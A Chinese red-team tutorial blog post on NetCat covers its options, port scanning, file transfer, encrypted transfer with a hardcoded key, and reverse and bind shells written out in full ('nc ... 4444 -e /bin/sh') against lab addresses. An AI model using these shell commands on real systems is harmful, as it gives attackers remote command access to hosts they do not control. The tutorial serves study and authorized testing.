码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 红队隧道应用篇之NetCat使用(十一)


    简介

    NetCat是一个通过TCP/UDP在网络中进行读写数据工具,被行内称为“瑞士军刀”,主要用于调试领域、传输领域以及黑客攻击领域。利用该工具可以将网络中一端的数据完整的发送至另一台主机终端显示或存储,常见的应用为文件传输、与好友即时通信、传输流媒体或者作为用来验证服务器的独立的客户端。

    常用参数

    • -4 : 强制nc使用ipv4
    • -6 : 强制nc使用ipv6
    • -D : 使用socket的方式
    • -d : daemon(后台), 设置后台运行
    • -l : 开启监听模式
    • -n : 使用ip而不使用域名
    • -p : 使用本地主机的端口,默认是tcp协议的端口
    • -r : 任意指定本地及远程端口
    • –U : 使用Unix的socket
    • -u : 使用udp协议
    • -v : 详细输出
    • -z : 将输入输出关掉,即不进行交互,用于扫描时,注意在nmap的版本下没有这个参数
    • -w : 设置连接超时时间,单位秒

    常用功能

    1.端口扫描

    扫描指定端口: nc -nvz 192.168.47.149 80

    image-20221105204928414

    扫描指定范围端口: nc -nvz 192.168.47.149 80-90

    image-20221105205029760

    2.文件传输

    正向传输:客户端传送文件至服务端

    服务端: nc -lp 4444 > result.txt

    客户端: nc 192.168.47.134 4444 < result.txt

    服务端按ctrl+c, 随后查看传送过来的result.txt文件

    image-20221105231603152

    反向传输:服务端传送文件至客户端

    服务端: nc -lp 4444 < result.txt

    客户端: nc -n 192.168.47.134 > result.txt

    在客户端查看传送过来的result.txt文件

    image-20221105232249836

    3.加密传输文件

    由于LINUX系统默认没有安装mcrypt库, 需先安装: apt-get install mcrypt

    服务端: nc -lp 4444 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb -k 123456 > result.txt

    客户端: mcrypt --flush -Fbq -a rijndael-256 -m ecb -k 123456 < result.txt | nc -nv 192.168.47.134 4444 -q 1

    -k: 指定加密时所用到的密码, 若不指定, 输入回车时需要输入加密密码

    image-20221106151706533

    正向/反向Shell

    反向Shell

    如下图所示, 目标主机反向连接攻击机的4444端口, -e选项将Bash Shell发送给攻击机, 若目标主机为windows, 需设置成-e cmd

    image-20221106162120338

    先在攻击机开启监听4444端口: nc -lvp 4444

    image-20221106161802417

    在目标主机反弹Shell: nc 192.168.47.134 4444 -e /bin/sh

    image-20221106161846933

    再返回攻击机查看反弹回来的shell, 并输入ifconfig命令进行测试

    image-20221106162013459

    正向Shell

    image-20221106162329078

    先在目标主机创建监听, 并把一个bash shell绑定到4444端口

    nc -lvp 4444 -e /bin/sh
    
    • 1
    image-20221106162559754

    在攻击机连接目标主机的4444端口,以此来接收反弹的shell, 并输入ifconfig命令测试

    nc 192.168.47.151
    
    • 1
    image-20221106162927333

    ​

    关于nc无法使用-e参数

    问题详情

    由于很多Linux默认安装的是netcat-openbsd(老版本), 而NetCat老版本是无法使用-e参数的, 于是需要对其更新成netcat-traditional版本

    解决方法

    1.安装 netcat-traditional

    apt-get -y install netcat-traditional
    
    • 1
    image-20221106161135696

    2.配置netcat版本, 随后选择版本为traditional的编号并按回车键

    update-alternatives --config nc
    
    • 1
    image-20221106161243527
  • 相关阅读:
    HCIP-Datacom-ARST自选题库_10_多种协议多选【24道题】
    [附源码]java毕业设计校医院病人跟踪治疗信息管理系统
    【安卓开发】安卓工程介绍及启动过程
    科技联众,互利共赢 | 卡驰科技(深圳)有限公司CEO张倍铭博士到访拓世科技集团,共探跨境电商,海外拓展无限可能
    各位帅哥美女,微博爬虫用python到底怎么写啊
    C/C++学习 -- SHA-256算法
    【Kubernetes】当K8s出现问题时,我们可以从哪些方面排查出
    【论文笔记】—低照度图像增强—Unsupervised—EnlightenGAN—2019-TIP
    分布式复制系统设计-总结
    基于YOLOv8的多目标检测与自动标注软件【python源码+PyqtUI界面+exe文件】【深度学习】
  • 原文地址:https://blog.csdn.net/xf555er/article/details/132723714
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号